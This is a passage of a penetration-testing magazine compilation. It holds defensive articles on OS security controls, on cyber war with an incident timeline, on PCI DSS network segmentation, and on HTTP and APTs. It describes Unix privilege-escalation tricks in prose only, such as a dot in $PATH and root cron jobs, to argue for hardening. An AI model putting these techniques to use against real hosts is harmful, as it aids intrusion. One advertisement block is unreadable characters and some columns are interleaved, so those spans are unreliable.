by OS controls: for a Unix system, a classic local
privilege escalation vector is one where administrators
left a dot (“.”) character in the $PATH environment
variable, thereby leading to a situation where the
original binary executable could be replaced by a
malicious version (e.g. a system administrator uses
the directory list command ls – but the ls program
has been replaced by a malicious version that sets an
empty root password).
There is the matter of corporate information security
standards also. When a business creates a security
standard for a specific technology, such as Cisco IOS
for example, they are effectively laying down the law
on how operating systems on Cisco devices should be
configured from a security perspective.
So with regard the subsection heading Why Analyze
OS Security Controls, there are two categories of
answer to this question. The first goes something like
because we have perfectly fine security standards,
signed off by our CEO, that tells us we need to analyze
security controls. The second type of answer is related
to technical risk and the efficiency of our vulnerability
management programs – and this is the subject of the
remainder of this article.
In the bigger picture of vulnerability assessment,
there is case for remote penetration testing by a
trusted third party (one that has no prior knowledge of
the target network) where the skills of the testers are
at a very high level, and the test carries no restrictions.
However the penetration test should not be seen as a
panacea. In a scenario where internal IT staff, including
security personnel, do not have intimate knowledge
of the IT landscape, the two-week penetration test
costing 40K USD will barely touch the surface. The
gap in knowledge will be filled slightly by a penetration
http://pentestmag.com
 AUDITING & STANDARDS PENTEST
test, but the only scenario where a penetration test
can be valuable is one where both target staff and
penetration testers are highly experienced in their
field. In this case the 40K USD, 40 man-day test is
used to try and spot misconfigurations that the internal
staff may have missed. This is a good use of funds in
most cases. Any other scenario is unlikely to provide
much value for businesses. In summary, penetration
testing is not the answer for businesses.
We have heard a great deal about APT in recent
months. APT has been attributed with many of the
recent high profile attacks. Malware is released at rates
faster than the anti-virus software vendors can release
pattern updates. Ever more ingenious malware is being
created by the bucket-load. Then there is the problem
of unaware users. Regardless of whatever awareness
program or punishment businesses deal out, there will
always be some user somewhere who clicks on some
click they shouldn’t follow, and corporate policies that
disable Javascript or blacklist URLs are doomed to
failure.
Overall…the perimeter has shifted. The perimeter is
no longer the perimeter if you see what I mean, in that it
is no longer the border or choke point external firewalls.
Bad guys own the businesses’ workstation subnets.
Many of the attacks are carried out with undisclosed
vulnerabilities and because they are undisclosed to
the public, there is no patch available to mitigate the
software vulnerability. This is the point where many
analysts raise a white flag. But this is also the point
where OS controls can save the day in many cases.
At least we can say that thoughtful use of OS security
controls can prevent a business from becoming a low
hanging fruit.
Taking a Unix system as an example: an attacker may
have remotely compromised a listening service but they
only gain the privileges of the listening service process
owner. In most cases this is not a root compromise.
The attacker will need to elevate their local privileges in
most cases. How do they do this? They look for bad file
system permissions and anything running under root
privileges. They look for anything related to the root
account, such as cron jobs owned by lower privileged
users that were configured to run under root’s cron.
With effective controls on server operating systems
we have the possibility to severely restrict privilege
escalation opportunities, even in cases where zero-
day/undisclosed vulnerabilities are used by attackers.
Some services can even be chroot jail configured, but
this requires knowledge of under the hood operating
system controls.
So think of the analysis of operating system controls
as a kind of a twist on a penetration test – sort of a
THE BEST OF 01/2012 Page 142
penetration test inside out. The approach is I have
compromised the target, now how I would I compromise
the target? Using a root / administrative account allows
a vastly more efficient situation where a great deal more
can be learned about a system in a short period of time
as compared with a remote penetration test.
I mentioned previously about the new perimeter
in corporate networks – the perimeter is now critical
infrastructure. Many businesses do not have internal
segmentation. There is only a DMZ subnet and then
a flat internal private network with no further network
access control. But assuming that they do have internal
network access control, then we can imagine that the new
perimeter is the firewall between workstation subnets and
critical servers such as database servers and so on. The
internal firewall(s) makes up the perimeter along with…
you got it…the operating system of the database, LDAP,
AD, and other critical application hosts [penny drops].
Businesses can proportion the resources deployed
in operating system control security assessment
depending on the criticality of the device. The criticality
will depend on a number of factors, not least network
architecture. In the case of a flat private network with
no internal segmentation, effectively every device is
a critical device and the budget required for security
is going to be much higher than in the case where
segments exist at differing levels of business criticality.
Hopefully then the importance of operating system
and database security controls has been made clearer.
Thoughtful deployment of automated and manual
analysis in this area is a nice efficient use of corporate
resources with huge returns in risk mitigation. The
longer terms costs of information risk management will
be less where better targeting of resources is deployed
– and certainly, some of the suggestions for vulnerability
assessment I have outlined in this article can help
a great deal in reducing the costs of vulnerability
management for businesses.
IAN TIBBLE
Ian Tibble is currently the Chief Technical Officer and Founder
of Seven Stones Information Security (http://www.seven-
stones.biz), and author of Security De-engineering (Taylor-
Francis, December 2011).
Ian was an IT Specialist with IBM Global Services before entering
into the dedicated security arena. Ian 11 years experience in
Information Security has been with both service providers:
Trusecure (now Verizon), and PricewaterhouseCoopers, and
also their customers, in logistics, banking, and insurance. Ian
has been engaged on projects with 95 Fortune 500 companies
and banking / �nance houses around Asia (Indonesia,
Singapore, Malaysia, Taiwan, Hong Kong, and Australia), and
Europe (UK and Czech Republic).
http://pentestmag.com
 ���������
������������������
��������������������
�������������� �������������
������������

������������
�������

� � � � � � � � �
�� �����������������
���� ������������������������������������
������ �����������������
�������� ���������
����������������������
���������������������
� ����������������
�� ��������������������� ����������������������������� ������������
 AUDITING & STANDARDS PENTEST
Separating
Fact from Fiction – The realities of Cyber War
Cyber War. Two words that you’ll have heard in the news a few
times by now. You’ll have heard it more and more over the last
year or so. Maybe two or three years if you’ve been halfway
interested or happened to be browsing on IT websites that cover
cyber warfare. Especially if you’re living in the US, you’ll have heard
some pretty fear-inducing stories.
A
nd not by just anybody; Richard Clarke himself
has said that a Cyber War is the next big threat to
national security. He was, of course, referring to
the national security of the US, but his critique certainly
holds water for other modernized nations. What may be
surprising is that he was absolutely right, even though
he may be understood poorly.
Let me first start out by trying to explain what Cyber
Warfare actually is. I say try because it’s hard to capture
exactly what the definition is. With having this seeming
inability to describe it, I find myself in good company.
At his confirmation hearing for the role of the first Cyber
Warfare General in US history, four-star General Keith
Alexander could not explain to the Senate Committee
what the exact definition of Cyber Warfare is. This
has everything to do with the fact that we, as a global
civilization, are still trying to figure out what it means
(culturally) to have all our collective knowledge at our
fingertips, all the time. And make no mistake: this is
exactly what we’ve created through the Internet and
mobile devices capable of internet access. Add to that
the fact that technology changes so rapidly that it’s
hard to see where we’re going. The final element of
uncertainty in this mix is that very few people (if any)
know or understand where internet technology is used.
It’s so pervasive that we may discover entirely new fields
of vulnerabilities, even though they’ve been around for
decades. SCADA systems are an excellent example of
THE BEST OF 01/2012 Page 144
this; up till STUXNET only the experts knew and realized
that an attack on such systems could cripple us.
So what is Cyber Warfare?
For a very broad definition of Cyber Warfare, I will steal
a bit from Wikipedia’s entry on Aerial Warfare: Cyber
Warfare is the use of both military and other computer
networks and systems to further the national interest
on (and off) the Cyberspace battlefield. I realize that
this is such a broad definition that it almost becomes
worthless, but any further narrowing down may make it
factually incorrect. Wikipedia’s entry on Cyber Warfare
refers to politically motivated hacking, which I feel is
wrong because while hacking is certainly a part of it, it
is not the whole of it. Richard Clarke’s definition, as he
wrote it in his book Cyber War, also seems too narrow
because he limits it to an activity performed only by
nation states. With this statement he discards non-state
actors and I feel this is a mistake.
Regardless of exact definitions, Cyber Warfare involves
the use of computer systems and networks with the
aim to corrupt, deny or destroy enemy information and
information systems, while protecting one’s own. My
friend and fellow publicist Peter Rietveld emailed me an
excellent definition recently that I’d like to share with you:
In war, information about your own capabilities and your
opponents capabilities is the ultimate
http://pentestmag.com
force multiplier. That was true in the time of Hannibal as it
is today. In war, communication is another force multiplier.
Communication and Information are critical conditions
for Command. In the end, it is Command that decides the
outcome of war. This was also true at the time of Hannibal and
holds true today. Now, information and communication are
interwoven and inseparable in what we call cyber. Therefore,
Cyber War is attacking your opponent’s information and
communication multipliers, while defending your own.
What is generally called a Cyber Attack is actually an
assault to an existing network or system, in many cases
by exploiting a natural weakness of a program or system,
or a flaw in the software. Seeing as how software is
written by humans and thus programming errors are
considered unavoidable (though they can be reduced by
stringent quality control), this means that at least for the
foreseeable future weaknesses will continue to exist and
thus systems remain at risk to be exploited.
Cyber War – Not New Business
Despite everything you’ve just read, Cyber Warfare
is not actually a new concept. It has been around for
almost 20 years and actual politically motivated cyber
attacks have been taking place for little over a decade,
and quite possibly even longer. Let’s have a brief
timeline of some politically motivated cyber attacks:
• 1998: Major cyber infiltrations take place against
US government agencies, the Pentagon, NASA,
various research labs and universities and lasts for
roughly 2 years. Russia is suspected but denies all
knowledge. It is dubbed Moonlight Maze.
• March 1999: Serbian hackers attack NATO systems in
retaliation for NATO’s military intervention in Kosovo.
• May 1999: A wave of cyber attacks erupts from
China against US government websites after an
accidental NATO bombing of the Chinese embassy
in Belgrade.
• April 2001: In incident with a US spy plane over
Hainan, China causes Chinese hacker groups to
lash out with cyber attacks at US government sites.
• 2003: A series of successful intrusions on US
government networks and systems begins and isn’t
discovered until approximately three years later.
The US government labels the attack Titan Rain
and eventually traces its origins to China.
• 2006: The US government sets up a military
command to deal with cyber threats dubbed US
Cyber Command (USCYBERCOM).
• April-May 2007: Cyber attacks believed to be linked
to the Russian government bring down the Web
sites of Estonia’s parliament, banks, ministries,
THE BEST OF 01/2012 Page 145
newspapers and broadcasters after a statue
honoring Russian soldiers is moved away from a
city center.
• June-July 2008: Hundreds of government and
corporate Web sites in Lithuania are hacked,
covered in digital Soviet-era graffiti, implicating
Russian nationalist hackers.
• August 2008: Massive DDoS attacks target
Georgian government and commercial websites
while Russian tanks roll across its borders.
• November 2008: Pentagon systems are attacked,
hackers are suspected to be working for Russia.
• December 2008: India’s largest bank is attacked by
a hacker group from Pakistan, whom India has had
heightened political tensions with for years.
• January 2009: Large scale DDoS attacks target
Kyrgyzstan ISP’s during heightened political tension
with Russia.
• March 2009: A large scale Cyber Espionage
operation is uncovered with command & control
servers mostly based in China. The Information
Warfare Monitor labels it GhostNet.
• April 2009: A cyber attack on Kazakhstan targets
a popular news Web site and replaces its content
with false content.
• Summer 2009: Insurgents compromise US
unmanned drones with off-the-shelf software worth
$26 and manage to intercept its live video feeds.
• October 2009: USCYBERCOM begins overseeing
the protection of US military networks from cyber
threats.
• January 2010: Cyber attacks take place against
Google systems in the second half of 2009, and is
published by McAfee in 2010. China is suspected
to be the culprit. The incident becomes known as
Operation Aurora.
• June 2010: A major cyber attack targets Iran’s
nuclear enrichment facility at Natanz. The software
program responsible is dubbed STUXNET. Nation
state involvement is heavily suspected.
• December 2010: Major attacks take place against
Mastercard, Paypal, VISA and PostFinance by
Anonymous in support of Wikileaks founder Julian
Assange.
Above list is far from complete. There are several
incidents that I know of that could be placed in this list,
but for the sake of keeping this article from becoming
a history book I’ve kept it somewhat limited. More
importantly, from 2009 onwards we see a strong rise
in the amount of major cyber attacks each year. Last
year, in 2011, we’ve seen major cyber attacks hitting
the news almost weekly, with events such as the
http://pentestmag.com
 AUDITING & STANDARDS PENTEST
attacks against RSA and several major attacks by
LulzSec, a more violent splinter group of Anonymous.
Their targets include Sony’s Playstation Network, Fox
Networks, the US Senate and PBS. Google is attacked
again, as are Citigroup and Lockheed Martin. Not even
the CIA is safe. Perhaps the most familiar names of
the last two years are STUXNET and it’s supposed
offspring DuQu.
Cyber Warfare – The Way of the Future
What makes Cyber Warfare so effective is that
internet technology brings a lot of computer networks
and systems within reach of adversaries who would
traditionally have had to physically travel to attack
it. Some by accident (administrators didn’t know or
check that it connected to the internet) or on purpose
(administrators don’t realize the dangers of connecting
something to the internet, and think it’s convenient)
Now, these same adversaries can reach you from the
comforts of their own home. An added benefit is that,
depending on their skill, they may very well obscure
their tracks in such a fashion that they don’t have to
fear any retribution while doing it. Additionally, internet
technology is getting more pervasive every day. If
something isn’t connected to some kind of network
today, it may very well be tomorrow and suddenly
become a risk. These are critical departures from the
way things used to be, and we have to consider the
consequences of that. We can only conclude that Cyber
Warfare has a bright future. Clearly all the governments
currently developing cyber warfare capabilities have
reached the same conclusion.
Skepticism
Unfortunately, despite the overwhelming evidence to
the contrary, a lot of people (including some who are
recognized as experts in the Information Security industry)
are still arguing that Cyber Warfare is overhyped. They
believe the threat is blown out of proportion by people
who stand to make a lot of money from protecting us
against this threat. A few years ago, these same people
stated that Cyber Warfare was complete nonsense and
that the threat flat-out didn’t exist, but they have seem to
come around a bit. Now, after the discovery of the much-
debated and highly successful cyber attack labeled
STUXNET, which targeted centrifuges in Iran’s Natanz
nuclear enrichment facility, many of these experts have
started backpedalling by changing their statements.
They now argue that the threat is real, but that we
shouldn’t use military language to describe it because
talk of war incites thoughts of war and it -and this is their
main grievance- enables the military industrial complex
to get fat off this new threat. Please note that even by
THE BEST OF 01/2012 Page 146
changing their statements, they haven’t really admitted
that they think the threat is real. They’re still wrong, and
I’ll tell you why.
Arguing Semantics
Let’s first look at the semantics surrounding Cyber
Warfare, because I feel this discussion is most easily
concluded. There are several reasons why I believe
that further debate about semantics is futile. Firstly, the
Press loves military talk. A lot of people do. It sounds
powerful and ‘cyber weapon’ sounds a lot better than
‘a computer program’. Military talk is generally concise,
descriptive and sometimes outright aggressive. It can
incite Fear quite well, and Fear sells newspapers almost
as well as Sex does. It’s also essentially a repeat of the
Hacker/Cracker semantics, where the term Hacker used
to refer to someone who only tinkers with something, and
a Cracker was someone who had malign intentions. The
Press kept using Hacker instead of Cracker, and now
the only people who still make futile attempts to educate
people about the difference between the two are purists.
Most people have accepted it, and in its stead we now
see the use of the terms White Hat, Black Hat and Grey
Hat to define where in the legal spectrum hackers find
themselves in. In short: the press got a hold of cool lingo
and we’ll have to pry it out of their cold, dead hands
before they’ll give it up. Just for this reason alone, we
would all be better off to just accept the inevitable and
spend our energy on more useful things, but I digress.
Use Where Applicable
Secondly, within a more limited context, using military
lingo is perfectly valid. Yes, armies can use and abuse
cyberspace –and computer technology in general- to
further their respective national political goals. The art
of War has always been susceptible to innovations in
technology. Cavemen beat each other to a pulp with
sticks until someone considered a sharpened piece of
rock made it easier. And then one of them figured that
sharpening the stick on one end worked very well too.
The next guy considered that if you applied a string
of pig-gut and shoot arrows, you could kill someone
from even further away. Make no mistake: these are
all technological innovations that had both military and
non-military applications. The only difference is that for
many of these things, it almost seems obvious, doesn’t
it? With cyberspace, it’s military application may not be
obvious to everyone. That too, is nothing new. You may
be surprised to learn that airplanes weren’t immediately
used in combat either. In contrast, these days ‘air
superiority’ is one of the most heavily contested areas
of any battlefield. Cyber Warfare revolves around the
act of destroying, denying or corrupting the enemy’s
http://pentestmag.com
flows of information, while defending one’s own.
Information is one of the most important (if not the most
important) factors in the outcome of any conflict. Carl
von Clausewitz, Prussian General, military theorist
and the author of On War (Vom Kriege), described a
phenomenon called the Fog of War. The Fog of War
is a term used to describe the uncertainty in situation
awareness experienced by participants in military
operations. It is essentially a lack of information, and this
is exactly the area in which Cyber Warfare operates.
Most militaries around the world have adopted various
forms of internet technology to allow for communication;
not just from one soldier to the next, but also in many
other areas such as logistics, radar installations, missile
guidance systems, navigation systems, GPS and
satellite systems. Of course not all of these systems are
directly connected to the internet, but as we have seen
with STUXNET, this is not always an insurmountable
problem to an attacker. In fact two components of the
US Department of Defense network (NIPRNET and
SIPRNET), critical for command and control of US Armed
Forces operations, have been repeatedly breached in the
past and neither are supposedly connected directly to the
internet. The ability to attack military systems or networks
of this sort, and thus being able to impede or cripple one or
more major functions of an entire military, would be highly
regarded by any nation. This is why militaries of over
120 nations all over the globe are currently developing
operational cyber capabilities. These militaries will refer
to their activities in cyberspace as Cyber Warfare, and
will keep using military jargon. To me, this is perfectly
reasonable. The terms Air Warfare, Land Warfare and
Sea Warfare don’t raise eyebrows, and I would argue that
Cyber Warfare deserves its place for exactly the same
reasons.
Why Richard Clarke is both Right and Wrong
I’ve stated before that Richard Clarke was right to label
Cyber Warfare a major national risk. I would like to nuance
that statement that he’s right in theory. You see, while so
many networks and systems are vulnerable to cyber
attacks, not all of these are likely targets to the military.
Conflicts don’t generally explode into an all-out war
overnight. In conflicts between nations, there is usually
something that is generally called Conflict Escalation
or De-escalation. One soldier shooting another soldier
usually doesn’t immediately trigger a massive bombing
raid against the other nation’s capitol, and with good
reason. Especially these days, nothing goes unseen by
the media. Camera’s are everywhere and the internet
allows news to spread globally with lightning speed. If a
country is attacked unprovoked, it will generally garner
sympathy by the rest of the world’s governments. If,
THE BEST OF 01/2012 Page 147
however, the attacked country strikes back brutally,
such sympathy is immediately lost. It also signals to the
enemy that it is now in an all-out war and nothing is off-
limits. This is an undesirable outcome for everyone, and
so retaliation is generally done in kind. The unspoken
rule of I’ll do to you, what you did to me applies in most
cases. Cyber Warfare would be absolutely perfect in
causing complete chaos in any modernized country.
Imagine if you could completely destabilize your enemy’s
financial market, shut down its power grid on a national
level, paralyze its oil industry or shut down its emergency
services. None of these examples are military, but they
have a huge effect on any country. At the same time,
attacking such (civilian) targets will allow your opponent
to do the same to you, or maybe even worse: start
bombing you. So yes: the risk is there. But it is unlikely to
actually be a viable option for nation states.
This doesn’t mean that we are out of the woods quite
yet though. I’ve only been talking about governments
and nation states so far. Terrorist groups and criminal
organizations have entirely different motives and some
of these may very well cause them to attack exactly
in such a fashion. The best solution to this enormous
problem is that everyone takes their own responsibility,
and starts securing their networks and systems. The
internet is a prime example of global cooperation. It
should stay that way.
DON EIJNDHOVEN
Don Eijndhoven has a Bachelor in
IT, majoring in System & Network
Engineering, with a Minor in Information
Security from the Hogeschool van
Amsterdam, The Netherlands. He is
currently pursuing an MBA at Nyenrode
Business University. Among a long list of
professional certi�cations he obtained are
the titles ISC2 CISSP, C|EH, MCITPro and MCSE 2003: Security.
He has over a decade of professional experience in designing
and securing IT infrastructures.
He is the founder and CEO of Argent Consulting, a cyber
security consulting �rm based in the Netherlands, and often
works as a management consultant or infrastructure/security
architect. In his spare time he is a public speaker on Cyber
Warfare, occasionally works for CSFI and blogs for several
tech-focused websites about the state of cyber security. He is
a founding member of Netherlands Cyber Doctrine Institute
(NCDI), a Dutch foundation that aims to support the Dutch
Ministry of Defense in writing proper cyber doctrine. He is
also the founder of the Dutch Cyber Warfare Community
group on LinkedIn, which serves as a national platform for
the Cyber Warfare industry in the Netherlands through forum
discussions and network meetings.
http://pentestmag.com
 PENTEST STANDARD

Network Segmentation
The clues to switch a PCI DSS compliance’s
nightmare into an easy path

Although best security practices should be implemented in all

systems of an organization, whether critical or not, the business
needs and the limited capabilities of the organizations to maintain
rigorous security controls cause that the desired balance between
business objectives and security requirements is not often
achieved.

T
his issue opens the need for a security PCI DSS not only apply to systems that store, transmit
architecture distributed in levels of criticality, or process cardholder data but usually the PCI DSS
where the stringent security controls are applied scope is much greater, including management systems,
to critical systems and other more flexible controls are security systems and in many cases all customer
applied to less critical or sensitive systems. processes and infrastructure.
In the case of PCI DSS compliance, the compliance Adequate network segmentation can help
mandates require organizations (merchants, services organizations to reduce the scope and cost of
providers and acquirers) to initiate a detailed analysis implementation and evaluation of PCI DSS. The aim is
of the scope of compliance, discovering in most cases to limit where cardholder data is processed, stored and
the need to take action to isolate the affected processes transmitted to limit the scope of PCI DSS, achieving:
and systems limiting the scope of PCI DSS compliance.
Typically the reduction and limitation of the scope of PCI
DSS is achieved through proper network segmentation,
but before carrying out this network segmentation it is
necessary to understand how to set boundaries in the
area of PCI DSS compliance and which aspects will be
assessed by the QSA auditor in a PCI DSS assessment.
In fact, the misunderstanding of the scope of PCI DSS
causes organizations to believe that compliance
with PCI DSS is much easier than it actually is, and
sometimes these organizations insist on taking a direct
PCI DSS compliance audit without having had proper
advice previously and ending in an unsatisfactory audit
and higher final costs.

Addressing PCI DSS compliance

One of the common problems in addressing PCI DSS
deployments is to make the customer understand that Figure 1. Understanding PCI DSS Scope

THE BEST OF 01/2012 Page 148 http://pentestmag.com

• Reduce the risk, as attention focuses on those
areas that require additional controls.
• Reduce time, effort and cost.
• Avoid heavy fines, financial fallout and reputational
damage.
• Cost-effective strategies to manage and protect
cardholder data.
The intention is to protect cardholder data from threats
on other networks or environments that could potentially
affect the cardholder data. It is necessary to evaluate the
possible interactions between the PCI DSS environment
of the organization and any other environment, such as
network management of a managed service provider.
A scenario that can dramatically complicate compliance
efforts of an organization is when the organization
hasn’t analyzed in depth the contracted services of third
parties, as an option that ideally would have been valid
to reduce the scope by outsourcing; may in some cases
act totally against, expanding PCI DSS scope beyond the
boundaries of the organization. To better understand this
scenario we will give an example:
• An organization in order to reduce the scope of PCI
DSS contracts with Company B firewall and IDS
management services and time synchronization.
• Company B offers the same services on a shared
basis for various clients. Company B never
manages customers’ servers, or access to them at
all, not even the backups.
Figure 2. Company B network within PCI DSS scope
THE BEST OF 01/2012 Page 149
• As the company B does not process or manage
cardholder data, since no client shares the data
with this company, Company B is not required to
validate PCI DSS compliance as a service provider.
• Normally companies within their PCI DSS audit
process include the services of Company B in the
assessment, as the case of the organization A.
• Company B has in its facilities the firewall
management console, another management console
for the IPS, the NTP time server and a RADIUS
server for authentication of users in each of the
management consoles.
• Also on the same network there are other servers
and devices from Company B that are not used for
services provided to the organization A.
• As the company B has no obligation to validate PCI
DSS on their own network, there are no guarantees
that the other network components are protected
with the latest security patches, antivirus, strong
access control, etc...
• That means that for example a potential security
compromise from the wireless access point, on
which have not changed the default settings, a
hacker can completely compromise company B
network including the NTP server, RADIUS users
used to manage firewalls of customers and of
course reaching compromise on this point to PCI
DSS network of the organization A.
• For this reason, in this scenario the entire network
of company B would be within the scope of PCI
http://pentestmag.com
 PENTEST STANDARD
DSS in organization A, making compliance with the
standard of something unapproachable.
This does not mean that companies should not
outsource services in the PCI DSS environment, quite
the opposite as this reduces the scope of PCI DSS but
it is essential to ensure that outsourcing is not going
to be a security risk and therefore an extension of the
PCI DSS scope. In fact, the same scenario wouldn’t
pose the security problems detailed above if Company
B has had network segmentation for services affected
by PCI DSS for those who are not.
PCI DSS Scope
To determine how PCI DSS affects the organization, it
is necessary to conduct an evaluation to see how the
cardholder data flows through the organization and to
analyze where it is critical the storage, processing or
treatment of this information, eliminating those that are
not critical flows. It is necessary that the evaluation of
each of the flows where cardholder data appears is
considered the starting point (what, when and how
data is obtained by the organization), the intermediate
states (all treatments and locations where cardholder
data flows) and the end point (if any, how cardholder
data leaves the organization). This analysis should
be conducted in all areas of the organization, since
it is common that a specified area of the organization
ignores that other areas also interact with cardholder
Figure 3. Small segment of Company B network included within PCI DSS scope
THE BEST OF 01/2012 Page 150
data. Here are some examples of flows or services
where may appear cardholder data at some point:
• Processing, storage or transmission of payment
transactions.
• Service Providers (any service offered on which
cardholder data could be transmitted, stored or
processed by the service provider or the customer):
• Web hosting, dedicated servers, housing,
datacenter
• Network services, administration and systems
management
• Application Development
• …
• Billing / Payment for services with credit card by
Internet, telephone, mobile, etc...
• Customer Services, for example:
• Call-centers (recorded conversations).
• Incidents received on paper, for example FAX.
• Incidents received electronically (email,
applications, etc.).
• Loyalty Programs.
• Fraud Management.
• Booking Management.
• ...
Once all cardholder data flows are identified, it is
important to look for areas where cardholder data can be
consolidated or removed to reduce the scope. With this
http://pentestmag.com
information obtained, it can be determined the scope of
PCI DSS. Considering that any other system that is in the
same network area of the system components identified
in the previous flows is also within the scope of PCI DSS
(even if are not part of the systems that process, store or
transmit cardholder data).
As mentioned above, PCI DSS requirements apply
to all system components. System components are
defined as any network component, server or application
that includes or is connected to the cardholder data
environment. The cardholder data environment (CDE)
is the area of the network cardholder data or sensitive
authentication data, including:
• Firewalls, switches, routers, wireless access points
and other network and security devices.
• Servers, for example: web, application, database,
authentication, mail, Proxy, NTP, DNS, etc.
• Applications, licensed, bespoke, whether internal or
external (Internet).
• All user computers, laptops, etc...
Importance of Network Segmentation
Flat networks (or simple) significantly increase the
potential exposure of a single violation of data without
adequate network protection.
• A violation of cardholder data can occur at any
shop, office or site that accepts payment cards.
• A flat network leaves all vulnerable systems to the
weakest point. Once achieved access at any point
through the weakest point, an attacker can reach
other critical systems in other locations.
Figure 4. PCI DSS Scope Analysis
THE BEST OF 01/2012 Page 151
On the other hand, we must bear in mind that network
segmentation is not a mandatory requirement of PCI
DSS; but a flat network or erroneous or incomplete
network segmentation can lead:
• Increased risk for the organization (increased
number of cardholder data, more data locations so
more locations to control).
• Increased cost and difficulty of deploying and
maintaining PCI DSS controls.
• Requirement to perform network and application
penetration test of all system components in the
network, whether or not they have anything to do
with cardholder data.
• Vulnerability scan requirements for all internal and
external system components on the network, whether
or not they have anything to do with cardholder data.
• Implement strict audit logs for system all
components on the network, whether or not they
have anything to do with cardholder data.
• Configure all system components securely on the
network, whether or not they have anything to do
with cardholder data.
• Code Reviews and Application Firewalls need for
applications that have nothing to do with cardholder
data.
• User management and strict account policies for all
system components in the network, whether or not
they have anything to do with cardholder data.
• ….
The idea or concept to keep in mind at all times is How
does other environments or networks security could affect
http://pentestmag.com

the security of the existing cardholder data environment
(CDE)?. That is, a security problem on the connected
network of my managed service provider (MSP), could
affect the security of our PCI DSS environment?
Benefits of Reducing the Scope of PCI
Compliance
Network segmentation of the cardholder environment
can significantly reduce the scope of PCI DSS. Here
are some of the benefits to be gained if the network is
properly segmented:
• Reduce the scope. From a situation where anyone
can access the corporate network, to a situation
where specifically authorized users with a business
need access to the cardholder data environment.
• Number of systems (servers, applications, devices).
Up to each organization, such as a flat network
containing 100 servers but only 4 processing
cardholder data and its security. In a flat network
architecture or improperly segmented, all system
components are within the scope. However, isolating
the four servers in a secure segment, only these
servers and traffic to/from this segment should be
within the scope (in addition to other infrastructure
required by PCI DSS).
• Less effort. Less effort is necessary to develop and
implement security policies to protect the segment
of what would be needed for an entire network.
• Lower cost. A smaller number of system components
means lower cost regarding security audits,
vulnerability analysis, penetration test, etc...
Figure 5. Graphical Example
THE BEST OF 01/2012 Page 152
PENTEST STANDARD
• Less forensic effort. In the event that a security
incident occurs, the forensic investigation in a limited
network segment is much faster and more effectively.
Without adequate network segmentation, compliance
with PCI DSS requirements impact any system and
employee with access to the network and may require:
• 2-factor authentication for remote network access.
• Systems hardening, change control management,
audit logs management and analysis, anti-virus
systems.
• Increase of processes and procedures for all
changes and IT tasks.
• Inclusion of all applications, even those not dealing
with cardholder data, in future assessments. The
requirement 6.6 requires that all web applications
are protected by a firewall application or perform a
code review.
Graphical Example
The following diagram shows a very simple and short
example of network segmentation, which will show the
involvement of PCI DSS on each segment.
On network segment labeled as VLAN 2 there is not
any stored, processed, or transmitted cardholder data
by any system component. In addition, any system
component of the segment VLAN 2 cannot access
the segment VLAN 1, where the firewall implements
a secure access control to ensure strict and proper
network segmentation. As a result, the network segment
VLAN 2 is out the scope of PCI DSS.
http://pentestmag.com
 On the other hand, in the network segment VLAN 1
cardholder data is transmitted and stored. The following
describes the functionality of the components shown in
the diagram:
• DB Server: Stores the PAN, cardholder name and
card expiration date in the database.
• File Server B: file server for employees, never
stores cardholder data.
• File Server A: Contains dump files of the database;
it can sometimes contain cardholder data.
• E-Mail Server: Sometimes incidents are received
by email containing the full PAN.
• AP (Access Point): wireless access point connected
to the network segment, so cardholder data may be
transmitted through this channel.
• Mobile: Blackberry Terminal for some employees to
access e-mail.
The result is that all system components are within the
scope of PCI DSS because they are part of the same
network segment with those which process cardholder
data:
• File Server B: Even having anything to do with
cardholder data is within the scope for being in the
same network segment.
• Mobile: By accessing email employees can access
cardholder data so is also within the scope.
• Rest: The rest deal directly with cardholder data so
that their involvement is direct.
The conclusion is that PCI DSS Requirements (e.g.
penetration test, vulnerability scans, monitoring,
etc..) must be applied to all system components,
including the File Server B and Mobile leading to more
efforts and cost to achieve and maintain PCI DSS
compliance.
Considerations to take into account
Some considerations to keep in mind for proper network
segmentation:
• Proper user authentication to access the secure
network segment (cardholder data environment –
CDE).
• Access Lists (ACLs) properly configured.
• Access audit logs.
• Anything that oversteps the secure network
segment should be checked, either:
• Devices.
• Packets.
• Protocols.
THE BEST OF 01/2012 Page 153
• Applications.
• Users.
• In addition, checks should be implemented on
incoming traffic and outgoing traffic.
• Do not allow the exit of cardholder data to another
network segment outside of PCI DSS scope.
• Security policies based on user identity or application,
to identify who has access to what data, not based
solely on IP addresses, ports and protocols.
Examples of bad practices
• Mail server out of the secure network segment, but
sometimes emails are sent with the PAN encrypted.
Although data is encrypted is still cardholder data
so both the mail server and any server, computer or
network component that is within the same network
segment are considered within the scope of PCI DSS.
• An application within the scope of PCI DSS allows
data extraction to files so that the user can manipulate
them. These files are stored on the computer of the
employee or a file server outside of the PCI DSS
scope. If these data dumps contain the full PAN,
even encrypted, the file server, employee workstation
and any other system component within that network
segment is within the scope of PCI DSS.
MARC SEGARRA LÓPEZ
Senior Security Consultant and Project
Manager
msegarra@isecauditors.com
INTERNET SECURITY AUDITORS
As a Security Consultant
working in many industries for
over ten years, Marc Segarra is
accustomed to advising clients
on all aspects of Information Assurance. Specialized in the
payment card industry and security best practices, he offers
an expert insight into security principles for both clients and
security professionals. Currently works for Internet Security
Auditors as a Senior Security Consultant and Project Manager
and holds CISA, CISSP, ISO27001 LA, PCI QSA, PA-QSA security
certi�cations and accreditations.
Public Pro�le: http://es.linkedin.com/in/marcsegarralopez
Company Website: http://www.isecauditors.com
http://pentestmag.com
 WEB APP PENTESTING

The Significance
Of HTTP And The Web For Advanced Persistent Threats

Initially created in 1989 by Tim Berners-Lee of the CERN, Hypertext

Transfer Protocol (HTTP) was actually launched one year later
and continues to use specifications that date to 1999 – a mere
time lapse of twenty-two years, in the transmission of Web-based
content.

T
he omnipresence of the Web is now a given and
it serves a wide variety of situations, as detailed
n the non-exhaustive list below:
• Community applications
• Institutional Web sites
• Online transactions
• Business applications
• Intranet/Extranet
• Entertainment
• Medical data
• Etc.
In response to user requirements and developing
needs, content driven by HTTP has become incre-
asingly rich and dynamic. It even goes as far as
incorporating script languages that transform the
Web browser into a universal enhanced client
that espouses different platforms: PC, Mac and
Mobile users all form part of the connected masses
operating on their chosen platforms. But have
these new privileges arrived without any underlying
constraints?
The race towards sophistication has not been
accompanied by similar developments in respect of
the security and reliability of data circulated across the
Web. A concrete example is the fact that HTTP does not
provide native support for sessions, and it is therefore
difficult to be sure that requests received during
browsing emanate from the same user. Large scale use
of the Web illustrates the
discrepancy that exists in terms of security versus
volume, and this inherent flaw has become a major
IT system issue, making HTTP a preferred vector of
attacks and data compromise.
Cybercriminals are aware of the exploitability of
the Web and have made it their number one target.
